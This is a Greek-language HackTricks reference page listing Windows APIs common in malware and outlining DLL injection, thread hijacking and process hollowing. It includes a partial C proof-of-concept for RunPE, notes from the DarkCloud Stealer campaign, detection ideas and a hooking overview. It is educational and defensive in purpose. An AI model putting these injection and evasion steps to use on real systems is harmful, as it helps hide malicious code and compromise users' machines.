Κοινές API που χρησιμοποιούνται σε κακόβουλο λογισμικό
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Γενικά
Δικτύωση
Raw Sockets | WinAPI Sockets |
---|---|
socket() | WSAStratup() |
bind() | bind() |
listen() | listen() |
accept() | accept() |
connect() | connect() |
read()/recv() | recv() |
write() | send() |
shutdown() | WSACleanup() |
Επιμονή
Registry | File | Service |
---|---|---|
RegCreateKeyEx() | GetTempPath() | OpenSCManager |
RegOpenKeyEx() | CopyFile() | CreateService() |
RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
RegDeleteKeyEx() | WriteFile() | |
RegGetValue() | ReadFile() |
Κρυπτογράφηση
Name |
---|
WinCrypt |
CryptAcquireContext() |
CryptGenKey() |
CryptDeriveKey() |
CryptDecrypt() |
CryptReleaseContext() |
Αντι-Ανάλυση/VM
Function Name | Assembly Instructions |
---|---|
IsDebuggerPresent() | CPUID() |
GetSystemInfo() | IN() |
GlobalMemoryStatusEx() | |
GetVersion() | |
CreateToolhelp32Snapshot [Check if a process is running] | |
CreateFileW/A [Check if a file exist] |
Αόρατο
Name | |
---|---|
VirtualAlloc | Alloc memory (packers) |
VirtualProtect | Change memory permission (packer giving execution permission to a section) |
ReadProcessMemory | Injection into external processes |
WriteProcessMemoryA/W | Injection into external processes |
NtWriteVirtualMemory | |
CreateRemoteThread | DLL/Process injection... |
NtUnmapViewOfSection | |
QueueUserAPC | |
CreateProcessInternalA/W |
Εκτέλεση
Function Name |
---|
CreateProcessA/W |
ShellExecute |
WinExec |
ResumeThread |
NtResumeThread |
Διάφορα
- GetAsyncKeyState() -- Key logging
- SetWindowsHookEx -- Key logging
- GetForeGroundWindow -- Get running window name (or the website from a browser)
- LoadLibrary() -- Import library
- GetProcAddress() -- Import library
- CreateToolhelp32Snapshot() -- List running processes
- GetDC() -- Screenshot
- BitBlt() -- Screenshot
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet
- FindResource(), LoadResource(), LockResource() -- Access resources of the executable
Τεχνικές Κακόβουλου Λογισμικού
DLL Injection
Εκτέλεση μιας αυθαίρετης DLL μέσα σε άλλη διαδικασία
- Εντοπίστε τη διαδικασία για να εισάγετε την κακόβουλη DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
- Ανοίξτε τη διαδικασία: GetModuleHandle, GetProcAddress, OpenProcess
- Γράψτε τη διαδρομή προς την DLL μέσα στη διαδικασία: VirtualAllocEx, WriteProcessMemory
- Δημιουργήστε ένα νήμα στη διαδικασία που θα φορτώσει την κακόβουλη DLL: CreateRemoteThread, LoadLibrary
Άλλες συναρτήσεις που μπορείτε να χρησιμοποιήσετε: NTCreateThreadEx, RtlCreateUserThread
Reflective DLL Injection
Φορτώστε μια κακόβουλη DLL χωρίς να καλέσετε κανονικές κλήσεις API των Windows.
Η DLL είναι χαρτογραφημένη μέσα σε μια διαδικασία, θα επιλύσει τις διευθύνσεις εισαγωγής, θα διορθώσει τις μετατοπίσεις και θα καλέσει τη συνάρτηση DllMain.
Thread Hijacking
Βρείτε ένα νήμα από μια διαδικασία και κάντε το να φορτώσει μια κακόβουλη DLL
- Βρείτε ένα στοχευμένο νήμα: CreateToolhelp32Snapshot, Thread32First, Thread32Next
- Ανοίξτε το νήμα: OpenThread
- Αναστείλετε το νήμα: SuspendThread
- Γράψτε τη διαδρομή προς την κακόβουλη DLL μέσα στη διαδικασία του θύματος: VirtualAllocEx, WriteProcessMemory
- Επαναφέρετε το νήμα φορτώνοντας τη βιβλιοθήκη: ResumeThread
PE Injection
Portable Execution Injection: Το εκτελέσιμο θα γραφτεί στη μνήμη της διαδικασίας του θύματος και θα εκτελείται από εκεί.
Process Hollowing (γνωστό και ως RunPE)
Process Hollowing
είναι ένα από τα αγαπημένα tricks αποφυγής άμυνας / εκτέλεσης που χρησιμοποιούνται από κακόβουλο λογισμικό των Windows. Η ιδέα είναι να εκκινήσετε μια νόμιμη διαδικασία στην ανασταλμένη κατάσταση, να αφαιρέσετε (κενή) την αρχική της εικόνα από τη μνήμη και να αντιγράψετε μια αυθαίρετη PE στη θέση της. Όταν το κύριο νήμα τελικά επαναφέρεται, το κακόβουλο σημείο εισόδου εκτελείται υπό την κάλυψη ενός αξιόπιστου δυαδικού (συχνά υπογεγραμμένου από τη Microsoft).
Τυπική ροή εργασίας:
- Δημιουργήστε έναν καλοήθη οικοδεσπότη (π.χ.
RegAsm.exe
,rundll32.exe
,msbuild.exe
) ανασταλμένο ώστε να μην εκτελούνται ακόμη οδηγίες.
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- Διαβάστε το κακόβουλο φορτίο στη μνήμη και αναλύστε τις κεφαλίδες PE του για να αποκτήσετε το
SizeOfImage
, τις ενότητες και το νέοEntryPoint
. - NtUnmapViewOfSection / ZwUnmapViewOfSection – αφαιρέστε τη βάση της αρχικής εικόνας της ανασταλμένης διαδικασίας.
- VirtualAllocEx – δεσμεύστε μνήμη RWX του
SizeOfImage
μέσα στη απομακρυσμένη διαδικασία. - WriteProcessMemory – αντιγράψτε πρώτα τις
Headers
, στη συνέχεια επαναλάβετε τις ενότητες αντιγράφοντας τα ακατέργαστα δεδομένα τους. - SetThreadContext – διορθώστε την τιμή του
EAX/RAX
(RCX
σε x64) ήRip
στη δομή του πλαισίου ώστε τοEIP
να δείχνει στοEntryPoint
του φορτίου. - ResumeThread – το νήμα συνεχίζει, εκτελώντας τον κώδικα που παρέχεται από τον επιτιθέμενο.
Ελάχιστο αποδεικτικό της έννοιας (x86) σκελετός:
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
// 2. read remote PEB to get ImageBaseAddress
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
PVOID baseAddr;
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
// 3. unmap original image & allocate new region at same base
NtUnmapViewOfSection(pi.hProcess,baseAddr);
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// 4-5. copy headers & sections …
// 6. write new image base into PEB and set Eip
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&ctx);
// 7. run!
ResumeThread(pi.hThread);
}
Practical notes observed in the DarkCloud Stealer campaign:
- Ο φορτωτής επέλεξε το
RegAsm.exe
(μέρος του .NET Framework) ως host – ένα υπογεγραμμένο δυαδικό αρχείο που είναι απίθανο να τραβήξει την προσοχή. - Ο αποκρυπτογραφημένος VB6 stealer (
holographies.exe
) δεν αποθηκεύεται στο δίσκο; υπάρχει μόνο μέσα στη διαδικασία που έχει αδειάσει, καθιστώντας τη στατική ανίχνευση πιο δύσκολη. - Ευαίσθητες συμβολοσειρές (regexes, paths, Telegram credentials) είναι RC4-encrypted ανά συμβολοσειρά και αποκρυπτογραφούνται μόνο κατά την εκτέλεση, περιπλέκοντας περαιτέρω την ανίχνευση μνήμης.
Detection ideas:
- Ειδοποιήστε για διαδικασίες
CREATE_SUSPENDED
που δεν δημιουργούν ποτέ GUI/console παράθυρα πριν από την κατανομή μιας περιοχής μνήμης ως RWX (σπάνιο για καλοήθες κώδικα). - Αναζητήστε μια ακολουθία κλήσεων
NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory
σε διάφορες διαδικασίες.
Hooking
- Ο SSDT (System Service Descriptor Table) δείχνει σε συναρτήσεις πυρήνα (ntoskrnl.exe) ή GUI driver (win32k.sys) ώστε οι διαδικασίες χρήστη να μπορούν να καλούν αυτές τις συναρτήσεις.
- Ένα rootkit μπορεί να τροποποιήσει αυτούς τους δείκτες σε διευθύνσεις που ελέγχει.
- IRP (I/O Request Packets) μεταφέρουν κομμάτια δεδομένων από ένα συστατικό σε άλλο. Σχεδόν τα πάντα στον πυρήνα χρησιμοποιούν IRPs και κάθε αντικείμενο συσκευής έχει τη δική του πίνακα συναρτήσεων που μπορεί να συνδεθεί: DKOM (Direct Kernel Object Manipulation)
- Ο IAT (Import Address Table) είναι χρήσιμος για την επίλυση εξαρτήσεων. Είναι δυνατόν να συνδεθεί αυτός ο πίνακας προκειμένου να αναληφθεί ο κώδικας που θα κληθεί.
- EAT (Export Address Table) Hooks. Αυτά τα hooks μπορούν να γίνουν από userland. Ο στόχος είναι να συνδεθούν οι εξαγόμενες συναρτήσεις από DLLs.
- Inline Hooks: Αυτός ο τύπος είναι δύσκολος να επιτευχθεί. Αυτό περιλαμβάνει την τροποποίηση του κώδικα των συναρτήσεων αυτών. Ίσως βάζοντας ένα jump στην αρχή αυτού.
References
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.